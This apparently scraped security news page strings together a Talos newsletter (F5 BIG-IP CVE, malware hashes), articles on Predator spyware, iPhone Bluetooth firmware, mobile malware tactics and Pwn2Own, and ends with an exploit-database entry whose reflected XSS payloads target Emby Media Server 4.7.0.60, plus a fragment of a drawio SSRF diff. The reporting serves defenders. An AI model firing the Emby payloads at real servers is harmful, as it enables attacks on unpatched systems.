By Jon Munshaw. 
Welcome to this week’s edition of the Threat Source newsletter. 
I will openly admit that I still own a “classic” iPod — the giant brick that weighed down my skinny jeans in high school and did nothing except play music. There are dozens of hours of music on there that I...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

_By Jon Munshaw._ 

Welcome to this week’s edition of the Threat Source newsletter. 

I will openly admit that I still own a “classic” iPod — the giant brick that weighed down my skinny jeans in high school and did nothing except play music. There are dozens of hours of music on there that I always tell myself I’m going to back up somewhere and never do. The iPod doesn’t have any charge at the moment, and I still need to hop on eBay to buy one of those flat chargers for it to even start the backup process. So no, I’m sure I’ll never get around to backing it up and recycling the device. 

But that doesn’t make it any less painful to hear that Apple is going to stop making iPods altogether. I’m a longtime iPod user and have owned everything from the original “stick of gum” iPod shuffle, to the tiny, square iPod nano that clipped to my backpack and made me think I was really cool, along with pretty much every other iteration of the nano. 

The news of the iPod’s end got me thinking about how far the threat landscape has come. We all have a supped-up iPod in our pockets now that connects to the internet at a moment’s notice and is one risky click away from someone stealing your banking app password. It used to be that when I wanted new music, I would have to plug the iPod into my parents’ Mac at home and connect to the internet, and then pray that whatever perilous download I was grabbing from uTorrent or LimeWire wasn’t going to download a virus. Most of the time, I thankfully landed on a somewhat legitimate version of a Slayer album. 

Nowadays, attackers have even come up with ways to install malware on your iPhone even when it’s powered down — that was never an issue in the heyday of the iPod! 

Though in my walk down memory lane, I did learn that some classic iPods shipped in 2006 contained Windows malware known as “RavMonE.exe,” an early example of why everyone should have at least a base anti-virus enabled.  

I’ll miss the days of the iPod, when I didn’t have to worry about malware following me in my backpack or briefcase. But I don’t miss having to illegitimately listen to Slayer, I’ll gladly pay the $10 a month for Spotify to avoid having to hope a file from “xX\_metalhead420Xx\_” doesn’t have malware in it.  

**The one big thing **

A critical vulnerability in F5’s BIG-IP software continues to dominate security headlines and haunt defenders. Though we released coverage for this vulnerability last week, attackers are still exploiting it in the wild. Security researchers at the SANS Institute recently discovered adversaries exploiting the vulnerability to try and completely wipe some Linux systems. The U.S. Cybersecurity and Infrastructure Security Agency also added CVE-2022-1388 to its list of known vulnerabilities and gave federal agencies until May 30 to patch for the issue.   

> **Why do I care? **
> 
> The continuous warnings around this vulnerability show how truly widespread and potentially dangerous it is. Due to the nature of this vulnerability, and adversary could exploit it and obtain root privileges in the Linux operating systems powering BIG-IP devices. While most attackers seem to be using it to gain an initial foothold on a system, this also opens the door to an attacker running specific commands to delete files on the system, including ones that are required for the operating system to function correctly.  
> 
> **So now what? **Cisco Secure products have several ways of detecting exploitation of this vulnerability and defending against it. F5 also has a patch available for the vulnerability, which should be implemented immediately. If users are not able to patch for some reason, Talos, CISA and F5 all recommend blocking iControl REST access through the self IP address and management interface. 

**Other news of note**

The quantum computing race is on. This week, U.S. officials said they believe America will be the first country to harness the power of quantum computing, outpacing rivals like China. It’s widely believed that quantum computers will break current encryption technologies. This means the U.S. also has to develop new encryption standards, which has interested privacy experts. Though the National Security Agency has had backdoors into encryption methods in the past, the agency says that will not be the case for whatever standard the U.S. develops to combat quantum computing. (CyberScoop, Bloomberg) 

U.S. officials released a warning this week that North Koreans are posing as remote workers and hiding their true identities to apply for jobs with cryptocurrency-related companies. These individuals eventually aim to get onto corporate networks and steal currency for the North Korean government. While many of the adversaries are based in North Korea, others are operating out of China, Russia, Africa and South East Asia. North Korean state-sponsored actors have been finding different ways to steal virtual currency for years, mainly in the name of funding the country’s weapons program. (BBC, U.S. Department of Treasury) 

Western governments and security experts continue to sound warnings about potential cyber attacks from Russian state-sponsored groups. Although there have not been any major public attacks as expected when Russia invaded Ukraine, there has been a sustained effort to improve Russia’s standing in the war. Finland and Sweden’s application to join the NATO military alliance also raised the possibility that Russia could respond with a cyber attack. Albeit more low-stakes, Russian actors also tried to disrupt the semifinals and finals of the Eurovision Song Contest in Italy last week, a contest that Ukraine eventually won. (Reuters, The Hill, BBC) 

**Can’t get enough Talos? **

*   Talos Takes Ep. #96: Takeaways from victim chats with two ransomware groups
*   Vulnerability Spotlight: Multiple memory corruption vulnerabilities in NVIDIA GPU driver
*   Ransomware: How executives should prepare given the current threat landscape
*   Threat Roundup for May 6 - 13

  

**Upcoming events where you can find Talos ****NorthSec 2022 (May 19 – 20, 2022)  
Montreal, Canada ****REcon (June 3 – 5, 2022)  
Montreal, Canada ****RSA 2022 (June 6 – 9, 2022)  
San Francisco, California ****Cisco Live U.S. (June 12 – 16, 2022)  
Las Vegas, Nevada ****Most prevalent malware files from Talos telemetry over the past week  **

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  **MD5:** 93fefc3e88ffb78abb36365fa5cf857c  **Typical Filename:** Wextract    
**Claimed Product:** Internet Explorer    
**Detection Name:** PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg  

**SHA 256:** 1b94aaa71618d4ecba665130ae54ef38b17794157123675b24641dc85a379426    
**MD5:** a841c3d335907ba5ec4c2e070be1df53  **Typical Filename:** chip 1-click installer.exe    
**Claimed Product:** chip 1-click installer     
**Detection Name:** Win.Trojan.Generic::ptp.cam  

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91   **MD5:** 7bdbd180c081fa63ca94f9c22c457376  **Typical Filename:** c0dwjdi6a.dll    
**Claimed Product:** N/A   **Detection Name:** Trojan.GenericKD.33515991  

**SHA 256:** 59f1e69b68de4839c65b6e6d39ac7a272e2611ec1ed1bf73a4f455e2ca20eeaa   **MD5:** df11b3105df8d7c70e7b501e210e3cc3   **Typical Filename:** DOC001.exe   **Claimed Product:** N/A     
**Detection Name:** Win.Worm.Coinminer::1201  

**SHA 256:** e12b6641d7e7e4da97a0ff8e1a0d4840c882569d47b8fab8fb187ac2b475636c  **MD5:** a087b2e6ec57b08c0d0750c60f96a74c  **Typical Filename:** AAct.exe    
**Claimed Product:** N/A    **Detection Name:** PUA.Win.Tool.Kmsauto::1201

Threat Source newsletter (May 19, 2022) — Why I'm missing the days of iPods and LimeWire

New research from Google's Threat Analysis Group outlines the risks Android users face from the surveillance-for-hire industry.

NSO Group and its powerful Pegasus malware have dominated the debate over commercial spyware vendors who sell their hacking tools to governments, but researchers and tech companies are increasingly sounding the alarm about activity in the wider surveillance-for-hire industry. As part of this effort, Google's Threat Analysis Group is publishing details on Thursday of three campaigns that used the popular Predator spyware, developed by the North Macedonian firm Cytrox, to target Android users.

In line with findings on Cytrox published in December by researchers at University of Toronto’s Citizen Lab, TAG saw evidence that state-sponsored actors who bought the Android exploits were located in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain, and Indonesia. And there may have been other customers. The hacking tools took advantage of five previously unknown Android vulnerabilities, as well as known flaws that had fixes available but that victims hadn’t patched.

“It's important to shine some light on the surveillance vendor ecosystem and how these exploits are being sold,” says Google TAG director Shane Huntley. “We want to reduce the ability of both the vendors and the governments and other actors who buy their products to throw around these dangerous zero-days without any cost. If there’s no regulation and no downside to using these capabilities, then you’ll see it more and more.”

The commercial spyware industry has given governments that don’t have the funds or expertise to develop their own hacking tools access to an expansive array of products and surveillance services. This allows repressive regimes and law enforcement more broadly to acquire tools that enable them to surveil dissidents, human rights activists, journalists, political opponents, and regular citizens. And while a lot of attention has been focused on spyware that targets Apple’s iOS, Android is the dominant operating system worldwide and has been facing similar exploitation attempts.

 “We just want to protect users and find this activity as quickly as possible,” Huntley says. “We don’t think we can find everything all the time, but we can slow these actors down.”

TAG says it currently tracks more than 30 surveillance-for-hire vendors that have ranging levels of public presence and offer an array of exploits and surveillance tools. In the three Predator campaigns TAG examined, attackers sent Android users one-time links over email that looked like they had been shortened with a standard URL shortener. The attacks were targeted, focusing on just a few dozen potential victims. If a target clicked on the malicious link, it took them to a malicious page that automatically began deploying the exploits before quickly redirecting them to a legitimate website. On that malicious page, attackers deployed “Alien,” Android malware designed to load Cytrox's full spyware tool, Predator.

As is the case with iOS, such attacks on Android require exploiting a series of operating system vulnerabilities in sequence. By deploying fixes, operating system makers can break these attack chains, sending spyware vendors back to the drawing board to develop new or modified exploits. But while this makes it more difficult for attackers, the commercial spyware industry has still been able to flourish.

“We can’t lose sight of the fact that NSO Group or any one of these vendors is just one piece of a broader ecosystem,” says John Scott-Railton, a senior researcher at Citizen Lab. “We need collaboration between platforms so that enforcement actions and mitigations cover the full scope of what these commercial players are doing and make it harder for them to continue.”

Spyware Vendors Target Android With Zero-Day Exploits

Researchers have found there's a theoretical possibility that malware could run, even when an iPhone is off.
The post How iPhones can run malware even when they’re off appeared first on Malwarebytes Labs.

Most people think that turning off their iPhone – or letting the battery die – means that the phone is, well, _off_. The thing is, this isn’t quite true. In reality, most of the phone’s functionality has ended, but there are components that mindlessly continue a zombie-like existence, for the most part unbeknownst to the user.

Even when the battery dies in your iPhone, it’s not truly dead. The phone will shut itself down to conserve the last little bits of power, and will enter a low power mode that is very different from the Low Power Mode that is offered when the battery drops to 20%, and that is found in the battery settings. These last trickles of power are used to keep certain limited functionality active for some time. The same is true of turning the phone off, except that this functionality can stay active much longer with a battery closer to full.

What is this functionality? Most notably, Express Cards – payment cards used with public transit systems – can continue to work in such a state. So can things like digital home or car keys, which seems logical. After all, you don’t want to get locked out just because your iPhone battery died!

More surprising is that the iPhone’s Find My capabilities continue to function. This means that the phone’s location can still be tracked, in a manner similar to how AirTags work, even after it has been turned off.

**Is this a problem or not a problem?**

Much ado has been made in the past of the use of things like Express Cards, which can be used without authentication. Someone could potentially jostle you in a public place and scan your phone with a fake public transit payment terminal, thus skimming money off the card you have set as an Express Card. That’s 100% possible, but not really all that likely.

Not to mention that there’s a simpler scenario. Someone could pull the same trick with a normal payment terminal, rather than one pretending to be a public transit terminal, and the tap-to-pay cards in your wallet. That’s a much simpler scenario with a much higher probability of success.

Similarly, digital keys could be used to access your car or your home, if someone stole your phone. Of course, that’s assuming they could figure out where your car or your home are from a locked phone, which is a pretty big “if” unless the thief had some prior knowledge.

In this regard, your phone doesn’t really pose much more of a risk than other things you’d have on your person. Of course, this is highly dependent on circumstances. For example, stealing a phone left on a table while the owner’s not paying attention would be a lot easier than stealing a wallet and keys from someone’s pocket. On the other hand, if a thief snatches someone’s purse or backpack, they may get phone, keys, and wallet, and the phone could easily be the least useful of the three.

Find My, on the other hand, is a bigger problem.

**What’s the problem with Find My?**

The major use cases for Find My are for you to find a lost device, or for someone you’ve shared your location with to find you. So what’s the problem? I mean, these are situations where you fully intend for your phone to be trackable, right? Unfortunately, there are scenarios that are not so beneficial.

Consider stalking or abuse scenarios where the stalker knows your Apple ID credentials, or has been given – through stealth or bullying – the ability to see your location. This is often the case with intimate partner abuse, for example. If you are in such an abusive situation, you may be under the false impression that turning your phone off will temporarily stop the tracking. Alas, that is not the case, and this could be a painful lesson to learn… both literally and figuratively.

However, there’s a possibility of still worse problems, like malware.

**Wait… what?! Did you say malware?**

Indeed. German researchers recently found that the Bluetooth firmware, responsible for managing the Bluetooth Low Energy (BLE) communication upon which Find My relies, is not cryptographically signed. Since the firmware is not signed, that means that modifications to the firmware cannot be detected without comparing the firmware to a known-good copy of the firmware.

Since BLE communication continues when the phone is off, the researchers found that there is a theoretical possibility that malware on the device could modify the Bluetooth firmware, thus installing malicious code that could continue to run even when the phone appears to be off. The most likely use case for such malware would be to use the BLE tracking capabilities to monitor the phone’s location.

Now, before you go chucking your phone in the garbage or smashing it with a hammer, let’s keep in mind that this is all theoretical at the moment. Compromising the firmware would require a jailbreak, which is not an easy thing to accomplish remotely. Physical access lowers the difficulty level, but it’s still not likely that this technique could be used by most adversaries.

**How can I protect myself?**

If you’re in a situation where an abuser is monitoring your location, you should be aware that turning off your phone will not stop the tracking. For those in such situations, we advise seeking help, as disabling the tracking could have bad consequences. If you need to not be tracked for a while, leave your phone in a location where it’s reasonable to expect you might spend some time.

When it comes to malware, there’s not much to worry about at present. There’s no known malware using BLE firmware compromise to remain persistent when the phone is “off.” Further, unless you are likely to be targeted by a nation-state adversary – for example, if you are a human rights advocate or journalist critical of an oppressive regime – you’re not likely to ever run into this kind of problem. (If that ever changes, you can be sure we’ll cover that here!)

If you actually are a potential target for a nation-state adversary, don’t trust that your phone is ever truly off. In such a case, a Faraday bag, or a low-tech flip phone, might be a good investment!

How iPhones can run malware even when they’re off

Mobile attacks have been going on for many years, but the threat is rapidly evolving as more sophisticated malware families with novel features enter the scene.

Mobile platforms are increasingly under threat as criminal and nation-state actors look for new ways to install malicious implants with advanced capabilities on iPhone and Android devices.

Although mobile attacks have been an ongoing problem for many years, the threat is rapidly evolving as more sophisticated malware families with novel features enter the scene.

Attackers are now actively deploying malware with full remote access capabilities, modular design, and, in some cases, worm-like characteristics that can pose significant threats to users and the companies they work for. Many of these malware families are continually improving through regular development updates, and cybercriminals are getting better at beating the review process of official app stores. Meanwhile, both the US and EU are considering new antitrust regulations that could make "sideloading" apps a consumer right.

It is important for businesses to recognize that mobile attacks are a key focus area for sophisticated threat actors. These attacks will continue to evolve as new tools and tactics emerge, posing unique challenges to traditional corporate security.

Here are six mobile malware tactics that companies need to prepare for:

**1\. On-Device Fraud  
**One of the most concerning new mobile malware advancements is the ability to carry out fraudulent actions directly from the victim’s device. Known as on-device fraud (ODF), this advanced capability has been detected in recent mobile banking Trojans, most notably Octo, TeaBot, Vultur, and Escobar. In Octo's case, the malware exploited Android's MediaProjection service (to enable screen sharing) and Accessibility Service (to perform actions on the device remotely). This hands-on remote access feature has also been enabled through an implementation of VNC Viewer, as in the case of Escobar and Vultur.

ODF marks a significant turning point for mobile attacks, which have largely focused on overlay-based credential theft and other types of data exfiltration. Although most ODF Trojans are primarily focused on financial theft, these modules could be adapted to target other types of accounts and communications tools used by businesses, such as Slack, Teams, and Google Docs.

**2\. Phone Call Redirection  
**Another troubling capability is the interception of legitimate phone calls, which recently emerged in the Fakecalls banking Trojan.

In this attack, the malware can break the connection of a user-initiated call without the caller's knowledge and redirect the call to another number under the attacker's control. Since the call screen continues to show the legitimate phone number, the victim has no way of knowing they have been diverted to a fake call service. The malware achieves this by securing call handling permission during the app installation.

**3\. Notification Direct Reply Abuse  
**In February, FluBot spyware (Version 5.4) introduced the novel capability of abusing Android’s Notification Direct Reply feature, which allows the malware to intercept and directly reply to push notifications in the applications it targets. This feature has since been discovered in other mobile malware, including Medusa and Sharkbot.

This unique capability allows the malware to sign fraudulent financial transactions, intercept two-factor authentication codes, and modify push notifications. However, this feature can also be used to spread the malware in a worm-like manner to the victim's contacts by sending automated malicious responses to social application notifications (such as WhatsApp and Facebook Messenger), a tactic known as "push message phishing."

**4\. Domain Generation Algorithm  
**The Sharkbot banking Trojan is also notable for another feature: domain generation algorithm (DGA), which it uses to avoid detection. As with other conventional malware with DGA, the mobile malware constantly creates new domain names and IP addresses for its command-and-control (C2) servers, which makes it difficult for security teams to detect and block the malware.

**5\. Bypassing App Store Detection  
**The app review process has always been a cat-and-mouse game with malware developers, but recent cybercriminal tactics are worth noting. The CryptoRom criminal campaign, for example, abused Apple’s TestFlight beta testing platform and Web Clips feature to deliver malware to iPhone users by bypassing the App Store altogether. Google Play's security process was bypassed by one criminal actor that paid developers to use its malicious SDK in their apps, which then stole personal data from users.

While droppers have become increasingly common for mobile malware distribution, researchers have recently noticed an uptick in activity in the underground market for these services, along with other distribution actors. .

**6\. More Refined Development Practices  
**While modular malware design isn't new, Android banking Trojans are now being developed with sophisticated update capabilities, such as the recently discovered Xenomorph malware. Xenomorph combines a modular design, accessibility engine, infrastructure and C2 protocol to allow for significant update capabilities that could enable it to become a far more advanced Trojan down the line, including the automatic transfer system (ATS) feature. Going forward, more mobile malware families will incorporate better update processes to enable enhanced features and entirely new functionality on compromised devices.

**Fight Back by Boosting Corporate Defenses  
**To fight back against these new mobile malware tactics, businesses need to make sure their cybersecurity programs include robust defenses. These include mobile device management solutions, multifactor authentication, and strong employee access controls. And, since mobile malware infections typically begin with social engineering, companies should provide security awareness training and consider technology that monitors communication channels for these attacks.

6 Scary Tactics Used in Mobile App Attacks

From a scrappy contest where hackers tried to win laptops, Pwn2Own has grown into a premier event that has helped normalize bug hunting.

In April 2007, when Apple's “I'm a Mac” ads were telling people that Macs can't get hacked, security researcher Dragos Ruiu decided to put the idea to the test – in front of a room full of security researchers, no less. He bought two MacBook Pros and put them on the floor of the CanSecWest conference in Vancouver, which he organized. The challenge had a catchy name, Pwn2Own: If you pwn a computer, you own it.

To Ruiu, it was more than a game. He wanted to make a “political point” that the commercials were misleading and Apple should take security seriously.

“Apple has had an on-again, off-again relationship with researchers. Sometimes they love hackers, sometimes they want to pretend hackers don't exist,” Ruiu tells Dark Reading. “This is one of those times when their marketing department used to run their security team.”

Back then, most companies also treated security researchers poorly. If someone found a flaw and reported it, they would often be threatened with lawyers. Part of Pwn2Own's merit is that it helped change that, “normalizing the concept of reporting bugs,” says Dustin Childs, communications manager for Trend Micro's Zero Day Initiative program, who now runs the event.

Throughout the years, the Pwn2Own competition has attracted high-profile researchers, including Dino Dai Zovi, Charlie Miller, George Hotz, Vincenzo Iozzo, Dion Blazakis, Ralf-Philipp Weinmann, and Jung Hoon Lee (aka Lokihardt). They’ve poked at everything, from Macs to phones, to IoT devices, industrial control systems, and even cars.

“It's a demonstration of some of the most advanced exploitation techniques that exist in the industry, at any given point in time,” says Brian Gorenc, senior director of vulnerability research at Trend Micro Gorenc. Demonstrations like these actually change how the industry looks at security.

Researchers’ efforts are well rewarded, too. Last year alone, cash prizes at Pwn2Own –

one of the highest-paying hacking competitions in the world – exceeded $2.5 million in total during multiple events.

This year’s contest, which starts today, marks its 15th anniversary and includes six categories: virtualization, Web browser, enterprise applications, server, local escalation of privilege, enterprise communications, and automotive. Whoever earns the most points will be crowned Master of Pwn, which will guarantee them “a killer trophy and a pretty snazzy jacket to boot.”

**Early Pwn2Own Wins  
**But let’s start with a recap of the first day of the 2007 CanSecWest conference, when two MacBook Pros with the latest security updates were in the spotlight, waiting to be hacked. A few researchers tried their luck, but the computers survived.

Then, security expert Shane Macaulay, who was in attendance, called former co-worker Dino Dai Zovi, based in New York, and asked him if he wanted to participate.

“I said, OK, cool, let me sit down and take a look and see what I can find,” Dai Zovi said in an interview a week after the conference. It took him five hours to detect a bug and another four to write the exploit. At 3 a.m., he called Macaulay, telling him they might actually win.

Dai Zovi found a bug in a QuickTime library loadable through a Java applet. An attacker could exploit it through any browser on Mac OS X that supports Java applets, such as Safari and Firefox. He sent his exploit to Macaulay, who put it on a website and emailed its URL to the organizers of the challenge. Once they loaded the malicious Web page, Macauley obtained a remote shell that granted him control of the laptop. The duo pwned the machine, earning them a 15-inch MacBook (which Macaulay kept since Dai Zovi had recently bought himself a laptop) and a $10,000 cash prize, courtesy of the Zero Day Initiative.

Dai Zovi says winning the first Pwn2Own event changed his life. “It was a massive benefit to my career and really put it on a different and better trajectory,” he says. “At the time, I had been writing exploits quietly as a personal hobby for almost a decade but was not at all known for it.”

The reputation he gained led him to consulting projects on iOS security and writing a book with another Pwn2Own rockstar, Charlie Miller, “The Mac Hacker's Handbook,” followed by “iOS Hacker's Handbook.”

Miller found himself in the spotlight the following year when he wrote an exploit for Safari with colleagues Jake Honoroff and Mark Daniel. “It might be because I'm biased about the things I'm good at, but \[Safari is\] the easiest browser \[to hack\],” Miller said in an interview after the competition.

**Beyond Apple  
**But Pwn2Own wasn’t only about Apple products. During the 2008 event, a Fujitsu U810 laptop running Vista was also attacked with an exploit for Adobe Flash written by Shane Macaulay, Alexander Sotirov, and Derek Callaway.

“In the very beginning, Pwn2Own was very much a browser-focused contest, and over the years, we've expanded the attack surfaces,” Gorenc says. “We've raised the prizes to make it more attractive for people to come in.”

Indeed, by 2015 the total cash prices exceeded $500,000. This month’s event, held in a hybrid format, has up to $600,000 waiting for the hacking of the Tesla Model 3, the largest target in Pwn2Own history.

But it is not only about money. “Pwn2Own was the first competition that focused on demonstrating real, working zero-day exploits against real-world software, whereas before most security competitions were capture-the-flag competitions that focused on “mock” targets and vulnerabilities,” Dai Zovi says. “It really put the focus on what was possible against the software that millions, if not billions, of people use to put a spotlight on how much we needed to improve security.”

**When ‘Wow’ Is an Understatement  
**The Pwn2Own competition has expanded to include software like MS Office, Adobe Reader, and Zoom. It has also tested the security of iPhones and BlackBerrys, and featured attacks targeting SCADA systems and IoT devices.

Some of the hacks were just mind-blowing and “times when 'wow' just isn't enough,” according to an HP Security Research blog post published during the 2015 event. That was when Jung Hoon Lee from South Korea hacked three browsers: Internet Explorer 11 (he found a time-of-check to time-of-use vulnerability), both the stable and beta version of Chrome (he exploited a buffer overflow race condition in the browser), and Safari (he exploited an uninitialized stack pointer in the browser).

  
Another exciting hack happened in 2017, when a team of researchers from Chinese Internet security company Qihoo 360 broke into VMWare's virtual machine sandbox.

“They fired up a virtual client, a fully patched Windows box. They pulled a fully patched browser and browsed to a Web page. They took their hands off the keyboard and let everything run,” Trend Micro's Childs says. “They combined enough bugs to break out of that \[sandbox\] and execute code on the underlying hypervisor on VMware Server underneath. And it was astonishing.”

  
Hacks like these made vendors feel edgy before the competition, and sometimes they would even push updates before an event.

“One year we got to Vancouver only to find out that the version of the BlackBerry deployed in Canada actually patched our bug, so we had to not sleep for two nights straight to fix the exploit,” says security expert Iozzo.

But, he adds, things like that were part of Pwn2Own's cachet. Many hackers who attended these events say they were both intense and fun. In March 2019, team Fluoroacetate, which took its name from a highly toxic substance that can kill bugs, found a severe memory randomization bug in Tesla's Model 3's infotainment system. Team members Richard Zhu and Amat Cama were crowned Masters of Pwn, earning $375,000 and the car.

  
Humor and jokes complement the stress associated with hacking.

“Last year also, we had someone hack a printer and play AC/DC through the speaker, which was pretty inventive,” Childs says. “We're dealing with a serious subject matter; the impact of these bugs can be tremendous. But at the same time, we try to keep the attitude light for the competitors so that we don't take ourselves too seriously.”

**Pwn2Own's Contributions to Bug Hunting  
**When the first edition of the Pwn2Own competition took place, the concept of hunting bugs was pretty exotic. Most companies were reluctant to talk to security researchers who reported issues, and even vendors who attended Pwn2Own events had mixed feelings about it.

But as the competition gained attention and brought everyone good publicity, companies started to open up. Looking back, security researcher Ruiu says that Pwn2Own partially assumed the role of negotiator, helping hackers get decent pay for their work.

“The manufacturers would love to just say: Have a T-shirt here,” Ruiu says. “But we became advocates for the security developers.”

As security experts and vendors met in the disclosure room to talk about hacks, the mood became less adversarial and more cooperative. The result: Bugs were fixed promptly before being exploited by a malicious entity.

Pwn2Own showed “it was OK for responsible organizations to compensate individual researchers for the hours of work put into their findings,” and led many large software companies to support bug-bounty programs, says Terri Forslof, a threat analyst at Microsoft.

Ruiu agrees, saying that Pwn2Own has helped pave the way for bug-bounty platforms like HackerOne and Bugcrowd, which work as intermediaries between researchers and tech companies. In 2021, HackerOne paid nearly $37 million for more than 66,500 valid bugs; the median earning for a critical bug was about $3,000. Also last year, Google offered bug hunters $8.7 million, while Zoom paid out $1.8 million.

Ruiu's initial goal of getting Apple to take security seriously has also been achieved, at least in part. The Cupertino, Calif., giant is currently offering up to $1 million to security experts for an exploit that results in a zero-click kernel code execution with persistence and kernel PAC bypass.

But although the role bug bounties play is undeniable, related issues remain. They still need to be formalized, says Childs, adding that such projects are not for everyone. “They're not a one-size-fits-all thing,” he says.

Many companies start bug-bounty programs without having a mature response process in place to be able to handle the reports they receive. As Childs puts it, “They get all these bugs, and they don't know what to do with them.” Organizations should have an efficient triage and specific procedures process in place to roll updates to customers, he points out.

“Until you have that basic, fundamental process available, offering a bug-bounty program is actually going to be more harmful than good because you're going to be getting bugs, and you're going to be overwhelmed by that,” Childs says. “And then you begin to have an adversarial relationship with the people who are reporting, even though you ask them to report.”

Hackers also complain. Some say they are underpaid for the bugs they discover, while others argue that their efforts are not always acknowledged in full.

During this week’s Pwn2Own, both Ruiu and ZDI hope to make one more small step in the right direction. “It still continues to change; it evolves continuously,” Ruiu says. “One of our goals is to improve the relationship between vendors and independent researchers.”

How Pwn2Own Made Bug Hunting a Real Sport

Emby Media Server version 4.7.0.60 suffers from a cross site scripting vulnerability.

    # Exploit Title: Emby Media Server 4.7.0.60 Cross Site Scripting # Google Dork: NA# Date: 18/05/2022# Exploit Author: Yehia Elghaly# Vendor Homepage: https://emby.media/# Software Link: https://emby.media/windows-server.html# Version: 4.7.0.60# Tested on: Windows 7 / 10Summary: Emby (formerly Media Browser) is a media server designed to organize, play, and stream audio and video to a variety of devices. Emby is open-source, and uses a client-server model.Description: Reflected XSS  found on the follwoing paths GET /web/index.htmlwkdlv%3cimg%20src%3da%20onerror%3dalert('xssyf')%3etsz47 HTTP/1.1Host: 192.168.1.99:8096Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Upgrade-Insecure-Requests: 1Accept-Encoding: gzip, deflateAccept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Connection: closeCache-Control: max-age=0/web/apploader.jsgavm5%3cimg%20src%3da%20onerror%3dalert(1)%3efekx9?v=4.7.0.60/web/manifest.jsono32b7%3cimg%20src%3da%20onerror%3dalert(1)%3ebhmxn /web/modules/common/strings/en-GB.jsons0ult%3cimg%20src%3da%20onerror%3dalert(1)%3es9n62?v=4.7.0.60/web/modulesd3s7a%3cimg%20src%3da%20onerror%3dalert(1)%3ez7ego/common/strings/en-GB.json?v=4.7.0.60 /web/modules/commonat2op%3cimg%20src%3da%20onerror%3dalert(1)%3eobgl7/strings/en-GB.json?v=4.7.0.60/web/modules/common/stringshh0u9%3cimg%20src%3da%20onerror%3dalert(1)%3et78cc/en-GB.json?v=4.7.0.60/web/modules/themes/dark/theme.jsonl0ofz%3cimg%20src%3da%20onerror%3dalert(1)%3edltvh?v=4.7.0.60/web/modulesx4l2h%3cimg%20src%3da%20onerror%3dalert(1)%3emr73x/themes/dark/theme.json?v=4.7.0.60 /web/modules/themesm2gyr%3cimg%20src%3da%20onerror%3dalert(1)%3ek2oyi/dark/theme.json?v=4.7.0.60/web/modules/themes/darknhu2c%3cimg%20src%3da%20onerror%3dalert(1)%3ez9cpp/theme.json?v=4.7.0.60/web/startup/login.htmljpi2c%3cimg%20src%3da%20onerror%3dalert(1)%3enwvie?v=4.7.0.60/web/startupipm82%3cimg%20src%3da%20onerror%3dalert(1)%3ei44hr/login.html?v=4.7.0.60/web/strings/en-GB.jsonqulu8%3cimg%20src%3da%20onerror%3dalert(1)%3eghzge?v=4.7.0.60/web/stringsxyvvd%3cimg%20src%3da%20onerror%3dalert(1)%3ewliqe/en-GB.json?v=4.7.0.60

Emby Media Server 4.7.0.60 Cross Site Scripting

Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.7.

@@ -468,7 +468,7 @@ a),DRAWIO\_GITLAB\_URL=a);a=urlParams\["gitlab-id"\];null!=a&&(DRAWIO\_GITLAB\_ID=a);w if("1"==urlParams.offline||"1"==urlParams.demo||"1"==urlParams.stealth||"1"==urlParams.local||"1"==urlParams.lockdown)urlParams.picker="0",urlParams.gapi="0",urlParams.db="0",urlParams.od="0",urlParams.gh="0",urlParams.gl="0",urlParams.tr="0"; "se.diagrams.net"==window.location.hostname&&(urlParams.db="0",urlParams.od="0",urlParams.gh="0",urlParams.gl="0",urlParams.tr="0",urlParams.plugins="0",urlParams.mode="google",urlParams.lockdown="1",window.DRAWIO\_GOOGLE\_APP\_ID=window.DRAWIO\_GOOGLE\_APP\_ID||"184079235871",window.DRAWIO\_GOOGLE\_CLIENT\_ID=window.DRAWIO\_GOOGLE\_CLIENT\_ID||"184079235871-pjf5nn0lff27lk8qf0770gmffiv9gt61.apps.googleusercontent.com");"trello"==urlParams.mode&&(urlParams.tr="1"); "embed.diagrams.net"==window.location.hostname&&(urlParams.embed="1");(null==window.location.hash||1>=window.location.hash.length)&&null!=urlParams.open&&(window.location.hash=urlParams.open);window.urlParams=window.urlParams||{};window.MAX\_REQUEST\_SIZE=window.MAX\_REQUEST\_SIZE||10485760;window.MAX\_AREA=window.MAX\_AREA||225E6;window.EXPORT\_URL=window.EXPORT\_URL||"/export";window.SAVE\_URL=window.SAVE\_URL||"/save";window.OPEN\_URL=window.OPEN\_URL||"/open";window.RESOURCES\_PATH=window.RESOURCES\_PATH||"resources";window.RESOURCE\_BASE=window.RESOURCE\_BASE||window.RESOURCES\_PATH+"/grapheditor";window.STENCIL\_PATH=window.STENCIL\_PATH||"stencils";window.IMAGE\_PATH=window.IMAGE\_PATH||"images"; window.STYLE\_PATH=window.STYLE\_PATH||"styles";window.CSS\_PATH=window.CSS\_PATH||"styles";window.OPEN\_FORM=window.OPEN\_FORM||"open.html";window.mxBasePath=window.mxBasePath||"mxgraph";window.mxImageBasePath=window.mxImageBasePath||"mxgraph/images";window.mxLanguage=window.mxLanguage||urlParams.lang;window.mxLanguages=window.mxLanguages||\["de","se"\];var mxClient={VERSION:"18.0.6",IS\_IE:null!=navigator.userAgent&&0<=navigator.userAgent.indexOf("MSIE"),IS\_IE11:null!=navigator.userAgent&&!!navigator.userAgent.match(/Trident\\/7\\./),IS\_EDGE:null!=navigator.userAgent&&!!navigator.userAgent.match(/Edge\\//),IS\_EM:"spellcheck"in document.createElement("textarea")&&8==document.documentMode,VML\_PREFIX:"v",OFFICE\_PREFIX:"o",IS\_NS:null!=navigator.userAgent&&0<=navigator.userAgent.indexOf("Mozilla/")&&0>navigator.userAgent.indexOf("MSIE")&&0>navigator.userAgent.indexOf("Edge/"), 